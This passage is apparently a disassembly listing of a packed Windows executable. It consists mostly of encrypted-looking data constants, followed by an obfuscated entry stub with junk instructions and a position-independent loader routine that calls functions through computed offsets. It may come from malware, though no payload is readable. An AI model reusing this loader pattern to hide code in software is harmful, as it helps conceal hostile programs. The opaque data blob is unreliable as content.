64F903FCh dd 0C1F361F2h, 0B8ED41F8h, 0B1F7448Fh, 0F48470E4h, 14BE9C2Bh dd 34D5C1C4h, 1DFC4B6h, 50C981ECh, 0F1EB04A3h, 0B4D808C0h dd 0D4D274EFh, 0CCB10180h, 699784CBh, 34200EA9h, 109FA1E2h dd 11D1E4F9h, 0F1394896h, 0B4E87490h, 8C8721DEh, 5EDD64E1h dd 711B841Bh, 3410C078h, 386FA11Ah, 46981C6h, 0F1170403h dd 0B4385C60h, 0D432EE26h, 705101D4h, 71C3842Bh, 0B9112848h dd 0C43F4143h, 11ADE459h, 94569C36h, 0B448B865h, 7027218Ah dd 61896441h, 149ED61Fh, 0B1140D20h, 548A8C12h, 2109615Ch dd 0F403815Eh dd 36952485h, 0D37233FAh, 0F3741B61h, 0A3EBE642h, 3360A201h dd 53BA9156h, 0F6C8E264h, 93B6BFD6h, 16CD4610h, 1BC7260Eh dd 0F34472C9h, 0A3BB0616h, 0F3B52612h, 0D67BC337h, 73CC2FACh dd 93C6A976h, 579DA67Ch, 567B431Fh, 8AA59794h, 0EF8BE69Fh dd 5681A30Dh, 43DEC3ECh, 63D8F729h, 0B763A26Ah, 124133D1h dd 7253167Ah, 0E3C05F74h, 5F4B221Ah, 6700B3F9h, 0F213D3F3h dd 63E8875Ch, 0C653A22Ah, 232D82C0h, 7297539Bh, 0E390D724h dd 24A5B87h, 92E9B389h, 537A1F32h, 737CC9FCh, 7B1366F2h dd 0FD6B22FDh, 7607260Ah, 70106F4h, 32FE830Bh, 0CAD5A76Ch dd 57FECBA6h, 52EC46CCh, 5EC30756h, 56E802E5h, 0D72B62DFh dd 8CB672F4h, 87EBBBCEh, 72E59BE4h, 6BEBE2FBh, 1E480E9Ch dd 0E6933B1Ch, 8B490289h, 0F29EBA8Ah, 8CC9CBB0h, 36BBE39Eh dd 53B982F9h, 3325F6B2h, 52E8A2ACh, 0C6A363CAh, 182102E1h dd 0B313621Bh, 0D2101254h, 964BE316h, 0A245C3C2h, 33C3E203h dd 52384A7Ch, 0B232A8E2h, 7E6D4390h, 0B39F622Bh, 932B8664h dd 325A6E1Eh, 3215C3C0h, 0F82FAC5Bh, 0CF31C291h, 0B29E2606h dd 8E3D9F10h, 9A37FFB0h, 4F4942A9h, 32B6E62Eh, 12B80878h dd 0DDDF7F82h, 0CC61C141h, 2C59A1D6h, 91508DD0h, 11C7FC5Eh dd 0F294159h, 1CE2A163h, 8C6ACCBh, 5CC63EDEh, 61F0F5CFh dd 0C73C4993h, 0B1BD189Fh, 2F8D1D9Fh, 0F284935Fh, 19A4B0BCh dd 20AC5EAAh, 5896EFB7h, 6F62C291h, 0BA63EDB1h, 85AF0EB5h dd 0E1BE7175h, 0F18155A7h, 3C48FE53h, 6723F44Bh, 729E2D75h dd 4154D747h, 0A223F18Ah, 0F16F6637h, 0C111BC6Bh, 0EF522766h dd 0EE4B8158h, 354CAB69h, 440CCB45h, 582DE2C3h, 9E396750h dd 0AC2EDC38h, 0C341481Bh, 0E356635h, 1E30BB1Dh, 241CB51Dh dd 6B3F44E8h, 5433D52Fh, 6E171515h, 80EF2903h, 0DFE254F9h dd 0CAF9690Bh, 13F988C1h, 33ED4FFCh, 60FF86F0h, 0F3D1EFCEh dd 0A3C815D7h, 8D581D55h, 202B756Fh, 0F3E99FF5h, 3B3A3ACh dd 374A85B3h, 52ACCEB7h, 0AFBCE79Ah, 84AA11B3h, 80AE9EA2h dd 0D395A795h, 0ECA1C69Dh, 22BEBFBCh, 30AE83F7h, 675AEF82h dd 42961297h, 7C413E55h, 8E5B1381h, 0F595ABB4h, 1C42424Dh dd 0EB75B6AFh, 716E8871h, 7F7FE370h, 30721E69h, 0B7682964h dd 5F3D086Fh, 0FB10683Ah, 0C40B220Fh, 21C73E3Dh, 3A31B328h dd 412E2B29h, 3808F1F3h, 0D826CE1Dh, 0BBF02915h, 0FF4F061Fh dd 0F0014F2Ch, 31D83789h, 1ABDDDC3h, 10DDF1D7h, 6CDBE6E7h dd 0DFD1F0EDh, 0C9222CFBh, 0EFC210DFh, 10D255DBh, 1DC26BF8h dd 2CD79ACBh, 4FBFBD7Dh, 84BCB9A9h, 9FC4B744h, 0ED391BB2h dd 5BB83CA7h, 0FFA6E4E6h, 1DD33D58h, 2D75994h, 0A4BF9829h dd 4DA0F77Eh, 3CA40D6Dh, 0EFF02DA8h, 0E8520F64h, 3C711F21h dd 4C29436Eh, 1F47DF93h, 986DBF53h, 7775F668h, 0DD54DC05h dd 93A13577h, 0E577297Bh, 0C6135967h, 39E64D0Dh, 1C146ED4h dd 681DF115h, 3D16A11Ch, 0AD0CDB26h, 97F03F03h, 0DA140BE5h dd 0EA054C1Dh, 3E3B430Dh, 392CAEF8h, 7F0BB701h, 4B668B90h dd 8DE6F7FCh, 9CF02F04h, 88F5C9E2h, 0FBA1E882h, 0F5B71582h dd 0DC3EF2B3h, 65C5ACE6h, 6DD9A1C5h, 87C8FDEDh, 41FCC9D4h dd 0E9851998h, 6B5A0F29h, 992A81E8h, 0EF6388EEh, 8860796Ah dd 0A6539851h, 7157B859h, 0F707085Eh, 88C875D6h, 2547BC7Bh dd 0CAB3B3B0h, 0A3F1613Eh, 0C9A73934h, 0E49650FBh, 42257920h dd 51BEF797h, 22A0D4ACh, 2517B4BAh, 0C70DB8B1h, 69C0188Eh dd 88DB4104h, 0A87F10B2h, 40CC7AFDh, 2BABD0F4h, 3161B3ADh dd 5C5B6C1h, 8B5D34F6h, 0ECD659E7h, 0C78873DCh, 0A88EB14Ah dd 0DAE9B9CCh, 0FD3454E6h, 4B1B405h, 6B349572h, 0C7218A28h dd 0ECB5682Eh, 0B619796Fh, 0DC5591Fh, 81F783Ah, 948BE09Ah dd 0F881FEAAh, 12CE57C3h, 4BF162ACh, 0EA78557Ah, 8A38754Dh dd 0EA6A1AEAh, 466B026Fh, 2059D524h, 8A2C7A55h, 0D463B6D3h dd 496473B7h, 6FCEB3BAh, 5E7D84BBh, 5C39813Eh, 9C8C0D9Ah dd 0B82E157Fh, 37793E22h, 0C9416CE4h, 19545D6Eh, 1EA28F4Dh dd 7FB7B746h, 795BD56Fh, 0DF54E2FFh, 0AE157FDFh, 0CD5A9524h dd 0E7327F0Bh, 0C9286F2Dh, 9D432A42h, 28DBEFA6h, 2D92ECF1h dd 0CF38DE3Eh, 98A36D10h, 0FC376C7Eh, 0EE3568AAh, 8D9BDFF9h dd 27C41CF2h, 5B8F7888h, 0E8DC72BEh, 8B04D2B4h, 0DFF71EE8h dd 0A7817A55h, 8FA7A3A4h, 71B706A9h, 7E3ACAFBh, 2CC9CCB2h dd 9BC399DCh, 0E5C183CAh, 9FD066C2h, 0BBDBC3D4h, 0DFD723C2h dd 3F641CA8h, 0FA6FBEAh, 93AC9BB1h, 72B497BAh, 0BFF0939Fh dd 0DA0B20E5h, 0BB054CF6h, 9DEA3D03h, 3F9408E1h, 5B17EA29h dd 0B42AC051h, 1CCAAAF7h, 0FD040EBDh, 53375A24h, 0B13A401Ah dd 0AB262C32h, 7CEF00C7h, 5A62E9E9h, 0B35BDA43h, 164EAC7Eh dd 0ED608A43h, 0DD6C6099h, 9E4ACEF1h, 0BEE3B751h, 0E74839E5h dd 0A800C4FAh, 0B0BBFD55h, 0A708AAAh, 0D7B0BCB0h, 0C883E5B0h dd 9DBA67A3h, 90B304B6h, 8ADA259Fh, 0AF5CC84h, 16383ADBh dd 0E9C9818Bh, 0D699A998h, 0F54DF73Eh, 9CF47DEAh, 0BD6C1CE6h dd 5FF58A42h, 6826DCEEh, 0CC354E3h, 9F78BCAh, 64D0BDCBh dd 0FCDF5AC4h, 8CC6B9D1h, 0BBC1ACC1h, 0BFA2B2Ch, 0D527DB78h dd 0D3D3CF0h, 2A2E872Bh, 0D0330234h, 0E1DD96E1h, 8A036507h dd 0ACD3532Ah, 4A193D1Ah, 0E4C19C1Fh, 0A69FB16h, 0ED535D3Ah dd 0DC94A167h, 28FC4E66h, 6071BA95h, 0B1D60AA5h, 8A152B5Dh dd 7B47C449h, 0D455E3E9h, 3459DB8Eh, 0D67AA950h, 28E799E3h dd 96B77DA8h, 0F61FD872h, 57AB3D6Eh, 75E518D7h, 128F65BEh dd 0EC9D868Bh, 6583A454h, 0F79B4E82h, 899A59A4h, 0BC9F2591h dd 57ED3AFEh, 0D5269BECh, 10EEECF1h, 29F58AECh, 0C922A178h dd 29C947FAh, 0A5CB791Fh, 0BCC61DD5h, 4FD1FBE2h, 403F08D8h dd 0BB93F101h, 0E9209B3Bh, 0CACEBFF0h, 0EF3F993Dh, 4E2A7D35h dd 6937A764h, 0A5B21DFh, 2515CA02h, 90CFC12h, 0FAED487Dh dd 0B496AEEh, 197F51B3h, 99C5D1BAh, 15541E51h, 5A4C0F4Ch dd 4353F35Ah, 2D7AD6CDh, 24E83679h, 0C6E8BE42h, 0CE4C2F5Ch dd 0AE22492Fh, 82015ABBh, 0E58B0D8Ah, 47DEEB09h, 769D7796h dd 99CF2900h, 0EC731D77h, 0F549E4DFh, 6AD9AB07h, 6809B1B4h dd 0A376F415h, 59AD99C8h, 36BCA882h, 9E32FD80h, 0A8829126h dd 7236E610h, 0CD7C6C49h, 2E5ED280h, 0DBF3D45h, 0D64E5846h dd 55049D8Eh, 3824BFA8h, 1923C1B8h, 0DEF0C310h, 6934995Bh dd 0C090888Bh, 0D585D62h, 0C0B4664Ch, 0AB071204h, 0D1AE8E78h dd 0D969B6AAh, 228E3D54h, 706315A5h, 6861125Ch, 28C57FD3h dd 0B9A50998h, 5EC778B3h, 0F929D953h, 6ADC68CDh, 8782EBCBh dd 0BA325A3Fh, 19FD389Dh, 0F9E78724h, 2972EB6Ch, 0A3BAF143h dd 29CC9CBDh, 88516F85h, 4C157C91h, 0C440967Bh, 9B8E0745h dd 2D2024DEh, 287494ABh, 1A8AEB87h, 28E2EBF1h, 9150FDE6h dd 54EE520h, 0DB0A3BBAh, 0DB0C7B09h, 5B163B13h, 5B18FB15h dd 0F51CB81Fh, 0D53A650Fh, 35504525h, 156EA543h, 0CB878579h dd 0CB4C4B49h, 4BB64BB3h, 4BB8CBB5h, 48A2CBBFh, 0A5FA15EFh dd 45D035C5h, 658ED5A3h, 5A4F5B9h, 0FB8C5B54h, 3B965B93h dd 7B98DB95h, 3BE2DB9Fh, 0B5BAD8E1h, 559025A5h, 75EEC583h dd 15C4E5F9h, 0EB2185D7h, 2BF66BF3h, 6BF8ABF5h, 2BE2EBFFh dd 68E4ABE1h, 65901585h dd 4A4EF5A3h, 2A24DA39h, 0A02BA17h, 141674EEh, 1418B415h dd 1422F41Fh, 1424B421h, 7A50F72Bh, 5A6EEA43h, 3A04CA79h dd 1A22AA17h, 4BB8A4Dh, 4B884B5h, 4A284BFh, 4A484A1h, 87AE84ABh dd 0AA0E1A23h, 0CA243A39h, 0EA425A57h, 0A787A6Dh, 34989488h dd 7462949Fh, 34649461h, 0F46E946Bh, 0BAEE176Dh, 0DAC42AF9h dd 0FAA24AD7h, 1AB86A8Dh, 24558AABh, 6462A47Fh, 2464E461h dd 0E46EA46Bh, 0A710646Dh, 0EAA41AB9h, 0CA827A97h, 2AF85AEDh dd 0AD6BACBh, 5422B422h, 5424F421h, 0D42EB42Bh, 0D430742Dh dd 0FA843737h, 0DAA26A97h, 3B384B4Dh, 1B16AB2Bh, 45EF8B01h dd 45A4C5A1h, 0C5AEC5ABh, 0C59045ADh, 0C69A4597h, 0AB421B57h dd 4B783B6Dh, 6B16DB0Bh, 0B4CFB21h, 75E4D5BCh, 0B5EED5EBh dd 0F5F055EDh, 0B5FA55F7h, 0BB2256F9h, 5B382B0Dh, 7B56CB2Bh dd 1B6CEB41h, 65898B7Fh, 0A5EEE5EBh, 0E51025EDh, 0A51A6517h dd 0E61C2519h, 6BF81BEDh, 4BD6FBCBh, 2B8CDBA1h, 0BAABBBFh dd 952EF556h, 9530352Dh, 953A7537h, 953C3539h, 7BB87643h dd 5B96EBABh, 3BECCB81h, 1BCAABFFh, 85238BD5h, 859005ADh dd 859A0597h, 859C0599h, 6860583h, 0AB961B8Bh, 0C84C3BA1h dd 0E82A583Fh, 8007815h, 0B67016F0h, 0F67A1677h, 0B67C1679h dd 76461643h, 0B8569545h, 0D86C2841h, 0F80A487Fh, 18206815h dd 0A6BD8833h, 0E61A2617h, 0A61C6619h, 66062603h, 2508E605h dd 0E80C1821h, 0C82A783Fh, 28405855h, 87EB873h, 0D63A368Ah dd 0D63C7639h, 56C636C3h, 56C8F6C5h, 0F8ECB5CFh, 0D8CA68FFh dd 38A048D5h, 18BEA8B3h, 0C65788A9h, 0C69C4699h, 46864683h dd 4688C685h, 45F2C68Fh, 0A8AA18BFh, 48803895h, 68FED8F3h dd 8D4F8C9h, 0F6FC5624h, 36C656C3h, 76C8D6C5h, 36D2D6CFh dd 0B88AD5D1h, 58A02895h, 793EC8B3h, 1914E929h, 0E7F18907h dd 27066703h, 6708A705h, 2732E70Fh, 6434A731h, 69401955h dd 497EF973h, 2914D909h, 932B927h, 174677BEh, 1748B745h dd 1752F74Fh, 1754B751h, 7920745Bh, 593EE933h, 3954C929h dd 1E70A947h, 48B8B9Eh, 248595CCh, 48085BEh, 3448984Dh dd 7B42A847h, 95012510h, 0F51B051Ah, 6850D49Bh, 986AE46Fh dd 15F56B69h, 75FF85FEh, 0B2B6E616h, 87711F74h, 5B0E0273h dd 0F7720704h, 0D750676Dh, 9018FED1h, 0E5162F1Bh, 77CB4B11h dd 57FEE7C0h, 76ECC7FAh, 0AC3EEB23h, 3B33273Eh, 0D01F601Ch dd 37C647CBh, 0B3C1EC07h, 74DB4DC6h, 56882CD9h, 0B666C688h dd 3E22266Ch, 25E2E7EFh, 1CE4B8E1h, 352E45DCh, 153CA53Bh dd 44894C3Dh, 4E8EFB8Bh, 0B4140C81h, 947A247Ah, 0C2580447h dd 0F5995F9Ch, 0FCA337A6h, 1BCAABC1h, 7BFC8BF4h, 0AFB15273h dd 61BB2ABEh, 9B92ECB8h, 0FB8A0B8Ch, 0EC8E6A7Dh, 3A525757h dd 0DC5CDD51h, 7A358A06h, 5AD4EADEh, 1E6A60A9h, 7774BA69h dd 0FA99CC73h, 0DABB6AB4h, 27C44929h, 180FBC02h, 0BC15E508h dd 59BCE977h, 0B9C7C9E9h, 0B6261BDFh, 8C2C0521h, 0D87FAC2Fh dd 38B148A3h, 2EFAA8E9h, 3BC3DF3Eh, 9DC53EC0h, 0BFF2CE0Dh dd 9FF12FFCh, 0EDA1415h, 3DDC80D9h, 3F3D8DE3h, 1F2CAF35h dd 4C308CD5h, 22F7C7F2h, 7DFDBFF8h, 9CDE2C95h, 0FCC70CD3h dd 6D8FD04Bh, 0A795E590h, 1C0E6D96h, 7D808C10h, 4966EDBAh dd 0CEACC3A9h, 5DB277AFh, 0FD2F0D14h, 0DD366D2Bh, 0D744B081h dd 0D44A4E47h, 0B28E4C4Dh, 4E69D24Ch, 7D63F264h, 92762246h dd 0F29A02EEh, 86188ABh, 0F57B9D7Eh, 13646578h, 0C33FB172h dd 9D081F0Dh, 0B3C2C3DAh, 902623C7h, 0D51520D5h, 0C8134F16h dd 30538D2Ch, 107EA047h, 0CEF0806Bh, 0C93B4C3Eh, 7D312D34h dd 92F220F8h, 0F2D802E3h, 0DBC2650Bh, 47D831DDh, 12AB6EDBh dd 728582B6h, 0A26E2BEh, 0FEE082E5h, 5EFE9AE3h, 0F250025Bh dd 0D27B6276h, 0DC88A441h, 31866D8Bh, 75B54E86h, 5587E584h dd 0C75CC592h, 0FBA94194h, 3EA359AEh, 0D51565F9h, 35044507h dd 0BBB10577h, 0F14B11B6h, 55B22E48h, 0B5AFC5A0h, 5592259Eh dd 0CD52375Eh, 1E547351h, 34604471h, 141CA419h, 297AFEADh dd 187CA279h, 0B4C32E73h, 0F8AB24D1h, 3E029A3Ah, 0D48A6485h dd 34E444E8h, 0D41072D7h, 452A4A17h, 573A2E2Ah, 0B72DC738h dd 0ECF22756h, 9831623Ch, 1E373632h, 368E468Eh, 1674A683h dd 0DAD9370Dh, 0CFDF78DAh, 0B65E0FD0h, 960B2628h, 21A80601h dd 0FE7B9E2h, 0A08BF8h, 37F28137h, 6488AEF5h, 57932F8Bh dd 0B7F2C786h, 0F35227FAh, 0A1906B9Dh, 1F963B93h, 370A47E4h dd 1726A703h, 8DB8746Dh, 60BE09BBh, 0B8960FBEh, 9848289Eh dd 91880832h, 7D49D64Ch, 0FF53D756h, 18A1A8DDh, 788A88ACh dd 95610EA3h, 926AFC6Eh, 997DEF69h, 0F911090Dh, 91B66926h dd 9C0607h, 1A26AA3Ah, 361582CDh, 0CF135416h, 0BA970F1Ch dd 9AD02AE6h, 1AE80AC9h, 1C2BBF2Eh, 0FF306834h, 1B36AB2Dh dd 4738B87h, 0F3C26903h, 0C8C85ECDh, 0A42BF0CBh, 84091421h dd 0D21E73E7h, 0E3E778E2h, 0E0E9ADE4h, 3FA93E2h, 6389F3F7h dd 34FFAA39h, 0F88152FCh, 83C3D086h, 0E32373CEh, 62545336h dd 0B7992C94h, 0C0A3019Eh, 6322F32Ah, 4355D357h, 44B1C36Fh dd 57BBCDB6h, 0E36E30B8h, 0C3845386h, 0E8756A7Dh, 0D64E9269h dd 6754E26Ch, 425E105Bh, 0A2153223h, 0ECA81217h, 0B66C2D69h dd 760073h, 223AB23Eh, 2B392C4h, 0E6045CE3h, 7FDC500Bh dd 9BD232DDh, 0AB192214h, 201F521Ah, 0C1255139h, 2143B15Ch dd 5231CBEDh, 2637BB32h, 417C1038h, 0A05D319Ah, 808104Bh dd 33CFA9CAh, 1D59BD0h, 21CBB1CBh, 115917Fh, 0BAE61923h dd 7EEC1FE9h, 9ECDF9E0h, 0BB37DBDEh, 21F142F4h, 0CEC85E80h dd 2E5DBE21h, 619EE74Dh, 0F898BB9Dh, 4F081197h, 0AC223F6Fh dd 856A1DACh, 0ED3C5E05h, 0C8AD5B3Fh, 2AB3A5D7h, 1E3229B5h dd 0A1599FCAh, 499FD9AEh, 0A66B3989h, 0E85F6495h, 0A4592D5Ch dd 0C6F93966h, 0F85503EEh, 4944AEC3h, 67E7316Ch, 47F8D7F0h dd 4BC23781h, 4C0EC803h, 210B420Dh, 0C40A5439h, 2408B40Eh dd 792592DDh, 0F238226h, 444F112Ch, 0A46A3471h, 0C9F81478h dd 563B333Eh, 2C1E0C4h, 2753B759h, 75D9759h, 0BD31313h dd 1ED8B0DDh, 0A6ADF2DBh, 81DB1648h, 0FB2E71F5h, 0A5F721F2h dd 0E0F91BF4h, 0F69F446Eh, 0A9852380h, 414F128Ah, 0A0A530B2h dd 0F9781094h, 819C1A99h, 0C0135D8Fh, 0B0A81867h, 2BB1AFAFh dd 63B6B2B2h, 4325D3DEh, 624D4A2Ch, 83CB13CDh, 0E3B673B5h dd 2C55A191h, 0F55B6F56h, 24F525Ch, 626CF241h, 28ACD269h dd 0F572506Fh, 42784075h, 0E2C17237h, 0C2B652B9h, 870A19C7h dd 90100F0Dh, 629B3213h, 42E6D29Eh, 4FE232ECh, 4028F425h dd 2A514D2Bh, 8876D0Eh, 0C3589F8h, 0CE85232h, 6CDBFCE1h dd 4B0CDCDEh, 0DBDD4EC0h, 43D761DAh, 0ECBE7CBEh, 0CCB15CBAh dd 69E5E327h, 0B3FF28E2h, 6C5D33FCh, 4C64DC5Ch, 24423C72h dd 7887928Ah, 23818084h, 0CC705C7Bh, 2DA1BC4Bh, 33AEA65Dh dd 45A8D8ADh, 4D8C13A7h, 0ADA03DB7h, 86781DB9h, 8FB004B5h dd 34A344Fh, 2D1CBD26h, 0D1B9D1Ch, 0D858B313h, 0EF526657h dd 39820C6Fh, 7966816Bh, 0EE545C07h, 0E67960B1h, 5F77BA7Ah dd 0E745370h, 6E62FE6Ah, 0F4CDE57h, 131F7602h, 0AC48B418h dd 0CC50E8D9h, 0CEAC5EAEh, 0D9EABEA5h, 0EC3D6620h, 0A33B163Eh dd 4EF7DEECh dd 0A9023EF9h, 0B4C42305h, 0F7C257C7h, 0CA6995DDh, 28AFB8A9h dd 0C48498B3h, 29EAA8EFh, 6E09CE5h, 0A848382Fh, 885F1844h dd 6FF2B459h, 3F88D48Dh, 280E418Bh, 3EAD9E61h, 5996C698h dd 3997549Eh, 0D4A94394h, 54EC3B2Bh, 51A5C8A0h, 0CF116BC5h dd 0B0B1742Ch, 814B18B6h, 9E870B48h, 0A3473966h, 7059EF44h dd 8F961F95h, 0EE657F9Fh, 0E86E8453h, 0B86906Dh, 0D4099E12h dd 77C8779h, 4D45EB1Fh, 0B20BF460h, 4B00F30Ch, 0EC8EBC03h dd 0C32F5CD1h, 2E25F020h, 34493DDh, 6365F369h, 0FF2B1496h dd 17358328h, 83E8BB32h, 54997390h, 16C382FEh, 2205B207h dd 3B59206h, 0DAD03589h, 0F6DA6DDFh, 0A3229AD9h, 8366134Eh dd 25DC730Fh, 0E2F17EF4h, 3AFF96F2h, 12BF133Ch, 6A83E686h dd 4048908Ch, 128D8530h, 0A89DA690h, 2A407119h, 6A9B6AFEh dd 0F5957A6Dh, 32BFAEA2h, 6A99FAE5h, 62B31592h, 0BA4D16B0h dd 3F890E4Ah, 0EA416634h, 0C25B5E5Eh, 2A59BA97h, 0A1B9A22h dd 16693514h, 2E63BA66h, 0AAA25260h, 29271A16h, 0B6712204h dd 0CA4B5AC1h, 2A4DBA4Ch, 0BA1F514Eh, 6AA18AB7h, 84B3DAAAh dd 0AA854ABFh, 8AB71A86h, 7221F5B0h, 4A3BC63Eh, 0B5BD9A37h dd 0F9CF1632h, 0F4318957h, 490C39B6h, 0A9353924h, 42071936h dd 0E990ADD4h, 0C92B5932h, 0E1E5762Ch, 39FF55E2h, 6876CDFDh dd 48CFD8CEh, 81FDB2D0h, 88AB1845h, 0E8957894h, 0D59A1286h dd 289199E5h, 0C867989Ah, 19508D55h, 0B4C7186Ah, 0FD8C09D0h dd 0BAEFF4BBh, 0A1B03D86h, 0C8FF6B79h, 1B7E01A5h, 36F798E6h dd 0A4586D6Eh, 0CD61FACEh, 256CB151h, 8897D66Bh, 0E8997890h dd 29B45882h, 0C1745D79h, 0E60E7573h, 68DDF8DCh, 8923BCDEh dd 0A8D9F601h, 88DB18D2h, 0DDD67B24h, 0B9F0612Ch, 2B01BB08h dd 253DB1EDh, 7D3BE93Eh, 4B2B1634h, 0AACD3B2Ch, 80881ACEh dd 98C374C6h, 0E88E2CDCh, 48D7C417h, 60EDFCD0h, 6AB937EEh dd 4ABBDAB2h, 0E8323ABCh, 0C0F55CF8h, 7F334F6h, 0CA3F5A3Eh dd 88A5E530h, 393B7580h, 0F89B54FCh, 4A0BB8A3h, 0C894A45Dh dd 8A2F1A2Eh, 18EE7A28h, 30B9ACBCh, 489644BAh, 0E04D7C7Dh dd 0B84B144Eh, 4A979744h, 0AA813A98h, 4737319Ah, 0EA9D7A9Ch dd 0CB5F5B5Eh, 14668067h, 0D97CB861h, 583457B1h, 5FC95E9h dd 0E5E2758Fh, 0C5C855D5h, 552EC53Bh, 0C7A6472Eh, 47A8C7A5h dd 4792C7AFh, 0C7944791h, 0F5BCE89Bh, 15C285AFh, 35E8A5D5h dd 450EC5FBh, 0D8FBFAE1h, 5868B865h, 5872F86Fh, 0D874B871h dd 777E787Bh, 0A629A4Fh, 2A08BA15h, 4A2EDA3Bh, 5AD4CAC1h dd 2868A8C8h, 6812E86Fh, 2814A811h, 0E81E681Bh, 3A02071Dh dd 1A688A15h, 7A4EEA7Bh, 4A94CA61h, 38953A87h, 7832982Fh dd 38349831h, 0F83E983Bh, 97C0983Dh, 0AC89AD5h, 6AAEFABBh dd 4A94DA81h, 0DA7A4A67h, 8928862h, 8948891h, 89E889Bh dd 880889Dh, 7AE82787h, 1A8E8AFBh, 3AD4AAE1h, 0CA3A4AC7h dd 182F7A2Dh, 18F4F8F1h, 18FEB8FBh, 18C078FDh, 0B7CAB8C7h dd 0AAE9ABBh, 2AD4BAC1h, 0CAFA5AE7h, 0DBE04A0Dh, 6914E9FCh dd 291EA91Bh, 0E900691Dh, 290AA907h, 3B4E4609h, 1B148B61h dd 0FB3A6B07h, 0CBC04B2Dh, 79C93BD3h, 393ED93Bh, 0F940593Dh dd 394A5947h, 0D64CD949h, 0B149B01h, 0EB7A7B67h, 369FA6A2h dd 5699C69Ch, 7693E696h, 968D0690h, 0B687268Ah, 0D6814684h dd 0F67B667Eh, 16758678h, 366FA672h, 5669C66Ch, 7663E666h dd 965D0660h, 0B657265Ah, 0D6514654h, 0F64B664Eh, 16458648h dd 363FA642h, 5639C63Ch, 7633E636h, 962D0630h, 0B627262Ah dd 0D6214624h, 0F61B661Eh, 16158618h, 360FA612h, 5609C60Ch dd 7603E606h, 95FD0600h, 0B5F725FAh, 0D5F145F4h, 0F5EB65EEh dd 15E585E8h, 35DFA5E2h, 55D9C5DCh, 75D3E5D6h, 95CD05D0h dd 0B5C725CAh, 0D5C145C4h, 0F5BB65BEh, 15B585B8h, 35AFA5B2h dd 55A9C5ACh, 75A3E5A6h, 959D05A0h, 0B597259Ah, 0D5914594h dd 0F58B658Eh, 15858588h, 357FA582h, 5579C57Ch, 7573E576h dd 956D0570h, 0B567256Ah, 0D5614564h, 0F55B655Eh, 15558558h dd 354FA552h, 5549C54Ch, 7543E546h, 953D0540h, 0B537253Ah dd 0D5314534h, 0F52B652Eh, 15258528h, 351FA522h, 5519C51Ch dd 7513E516h, 950D0510h, 0B507250Ah, 0D5014504h, 0F4FB64FEh dd 14F584F8h, 34EFA4F2h, 54E9C4ECh, 74E3E4E6h, 94DD04E0h dd 0B4D724DAh, 0D4D144D4h, 0F4CB64CEh, 14C584C8h, 34BFA4C2h dd 54B9C4BCh, 74B3E4B6h, 94AD04B0h, 0B4A724AAh, 0D4A144A4h dd 0F49B649Eh, 14958498h, 348FA492h, 5489C48Ch, 7483E486h dd 947D0480h, 0B477247Ah, 0D4714474h, 0F46B646Eh, 14658468h dd 345FA462h, 5459C45Ch, 7453E456h, 944D0450h, 0B447244Ah dd 0D4414444h, 0F43B643Eh, 14358438h, 342FA432h, 5429C42Ch dd 7423E426h, 941D0420h, 0B417241Ah, 0D4114414h, 0F40B640Eh dd 14058408h, 33FFA402h, 53F9C3FCh, 73F3E3F6h, 93ED03F0h dd 0B3E723EAh, 0D3E143E4h, 0F3DB63DEh, 13D583D8h, 33CFA3D2h dd 53C9C3CCh, 73C3E3C6h, 93BD03C0h, 0B3B723BAh, 0D3B143B4h dd 0F3AB63AEh, 13A583A8h, 339FA3A2h, 5399C39Ch, 7393E396h dd 938D0390h, 0B387238Ah, 0D3814384h, 0F37B637Eh, 13758378h dd 336FA372h, 5369C36Ch, 7363E366h, 935D0360h, 0B357235Ah dd 0D3514354h, 0F34B634Eh, 13458348h, 333FA342h, 5339C33Ch dd 7333E336h, 932D0330h, 0B327232Ah, 0D3214324h, 0F31B631Eh dd 13158318h, 330FA312h, 5309C30Ch, 7303E306h, 92FD0300h dd 0B2F722FAh, 0D2F142F4h, 0F2EB62EEh, 12E582E8h, 32DFA2E2h dd 52D9C2DCh, 72D3E2D6h, 92CD02D0h, 0B2C722CAh, 0D2C142C4h dd 0F2BB62BEh, 12B582B8h, 32AFA2B2h, 52A9C2ACh, 72A3E2A6h dd 929D02A0h, 0B297229Ah, 0D2914294h, 0F28B628Eh, 12858288h dd 327FA282h, 5279C27Ch, 7273E276h, 926D0270h, 0B267226Ah dd 0D2614264h, 0F25B625Eh, 12558258h, 324FA252h, 5249C24Ch dd 7243E246h, 923D0240h, 0B237223Ah, 0D2314234h, 0F22B622Eh dd 12258228h, 321FA222h, 5219C21Ch, 7213E216h, 920D0210h dd 0B207220Ah, 0D2014204h, 0F1FB61FEh, 11F581F8h, 31EFA1F2h dd 51E9C1ECh, 71E3E1E6h, 91DD01E0h, 0B1D721DAh, 0D1D141D4h dd 0F1CB61CEh, 11C581C8h, 31BFA1C2h, 51B9C1BCh, 71B3E1B6h dd 91AD01B0h, 0B1A721AAh, 0D1A141A4h, 0F19B619Eh, 11958198h dd 318FA192h, 5189C18Ch, 7183E186h, 917D0180h, 0B177217Ah dd 0D1714174h, 0F16B616Eh, 11658168h, 315FA162h, 5159C15Ch dd 7153E156h, 914D0150h, 0B147214Ah, 0D1414144h, 0F13B613Eh dd 11358138h, 312FA132h, 5129C12Ch, 7123E126h, 911D0120h dd 0B117211Ah, 0D1114114h, 0F10B610Eh, 11058108h, 30FFA102h dd 50F9C0FCh, 70F3E0F6h, 90ED00F0h, 0B0E720EAh, 0D0E140E4h dd 0F0DB60DEh, 10D580D8h, 30CFA0D2h, 50C9C0CCh, 70C3E0C6h dd 90BD00C0h, 0B0B720BAh, 0D0B140B4h, 0F0AB60AEh, 10A580A8h dd 309FA0A2h, 5099C09Ch, 7093E096h, 908D0090h, 0B087208Ah dd 0D0814084h, 0F07B607Eh, 10758078h, 306FA072h, 5069C06Ch dd 7063E066h, 905D0060h, 0B057205Ah, 0D0514054h, 0F04B604Eh dd 10458048h, 303FA042h, 5039C03Ch, 7033E036h, 902D0030h dd 0B027202Ah, 0D0214024h, 0F01B601Eh, 10158018h, 300FA012h dd 5009C00Ch, 7003E006h ; --------------------------------------------------------------------------- public start start: push offset dword_434000 call sub_44402C xor al, 0ADh out 77h, al ; --------------------------------------------------------------------------- aPpcwDcwoCwiCw_ db '¯æwÆ„æwOÍæw›Ðæw.ãæwqÐæw',0 align 4 dd 7E0000h ; =============== S U B R O U T I N E ======================================= sub_44402C proc near ; CODE XREF: _0niaacah:00444005p call sub_4440B9 pop eax pusha lea ebp, [eax-0Ah] call sub_4440A4 sub esp, 400h mov esi, esp push esi push 200h call dword ptr [ebp+0Ah] push esi push 0 lea eax, [ebp+2Ah] push eax push esi call dword ptr [ebp+0Eh] 